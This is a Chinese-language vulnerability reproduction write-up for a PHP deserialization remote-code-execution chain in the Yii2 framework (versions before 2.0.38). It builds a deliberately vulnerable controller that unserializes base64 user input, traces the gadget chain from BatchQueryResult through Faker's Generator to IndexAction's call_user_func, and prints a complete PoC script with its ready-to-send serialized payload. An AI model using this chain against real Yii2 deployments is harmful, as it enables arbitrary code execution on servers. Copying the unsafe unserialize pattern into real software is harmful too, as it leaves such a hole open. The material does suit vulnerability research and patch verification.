环境搭建
漏洞影响版本<2.0.38,这里用37版本进行分析复现
在源码 basic/controllers目录下新建 PocController.php作为漏洞触发入口
1 2 3 4 5 6 7 8 9 10 11
| <?php
namespace app\contraollers;
class PocController extends \yii\web\Controller { public function actionPoc($data) { return unserialize(base64_decode($data)); } }
|
漏洞分析
链入口位于vender\yiisoft\yii2\db\BatchQueryResult.php 类BatchQueryResult
发现其__destruct() 方法,该方法会调用 reset()方法, 在reset()方法中又执行了代码 $this->_dataReader->close()
1 2 3 4 5 6 7 8 9 10
| public function reset() { if ($this->_dataReader !== null) { $this->_dataReader->close(); } $this->_dataReader = null; $this->_batch = null; $this->_value = null; $this->_key = null; }
|
此时就有两种方法可以使pop链继续:
- $this->_dataReader是一个不存在close方法的类,调用不存在的类触发类中__call方法
- $this->_dataReader是一个存在close方法的类,其close方法重的代码存在继续rce链的可能
这次使用思路1尝试构造pop链,全局搜索可利用的__call方法。可以发现在vendor/fzaninotto/faker/src/Faker/Generator.php中的类Generator存在可以利用的__call方法,该方法会调用类的format方法.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
|
public function __call($method, $attributes) { return $this->format($method, $attributes); }
public function format($formatter, $arguments = array()) { return call_user_func_array($this->getFormatter($formatter), $arguments); }
|
format方法中发现了调用call_user_func_array函数,离rce更进一步。结合getFormatter方法的代码我们可以分析出来,只要类Generator的formatters变量中存在 formatters[‘close’] 即可以通过call_user_func_array(formatters[‘close’], $arguments)调用任意类的任意方法,调用方法只需要设置
1
| formatters['close'] = [class name, function name]
|
因此,我们只需要找到一个可以执行任意命令的类和方法,并且命令执行方法的参数可控即可。无论是eval,assert还是call_user_func均可。很快可以找到在vendor/yiisoft/yii2/rest/IndexAction.php和vendor/yiisoft/yii2/rest/CreateAction.php中,类IndexAction与CreateAction均存在一个run()方法,方法中调用了call_user_func且参数可控。到这里完整的pop链就完成了。
1 2 3 4 5 6 7 8
| public function run() { if ($this->checkAccess) { call_user_func($this->checkAccess, $this->id); }
return $this->prepareDataProvider(); }
|
整个链为:
BatchQueryResult->__destrcut => BatchQueryResult->reset => Generator->__call => Generator->format => call_user_func_array => IndexAction->run => call_user_func
poc如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44
| <?php
namespace yii\rest{ class IndexAction{ public $checkAccess; public $id; public function __construct() { $this->checkAccess = 'phpinfo'; $this->id = '1'; } } }
namespace Faker{ use yii\rest\IndexAction;
class Generator{ protected $formatters; public function __construct() { $this->formatters['close'] = [new IndexAction(),'run']; } } }
namespace yii\db{ use Faker\Generator; class BatchQueryResult{ private $_dataReader; public function __construct() { $this->_dataReader = new Generator(); } }
}
namespace { use yii\db\BatchQueryResult; echo base64_encode(serialize(new BatchQueryResult())); }
|
1 2
| $ php controllers/poc4.php 130 ⨯ TzoyMzoieWlpXGRiXEJhdGNoUXVlcnlSZXN1bHQiOjE6e3M6MzY6IgB5aWlcZGJcQmF0Y2hRdWVyeVJlc3VsdABfZGF0YVJlYWRlciI7TzoxNToiRmFrZXJcR2VuZXJhdG9yIjoxOntzOjEzOiIAKgBmb3JtYXR0ZXJzIjthOjE6e3M6NToiY2xvc2UiO2E6Mjp7aTowO086MjA6InlpaVxyZXN0XEluZGV4QWN0aW9uIjoyOntzOjExOiJjaGVja0FjY2VzcyI7czo3OiJwaHBpbmZvIjtzOjI6ImlkIjtzOjE6IjEiO31pOjE7czozOiJydW4iO319fX0=
|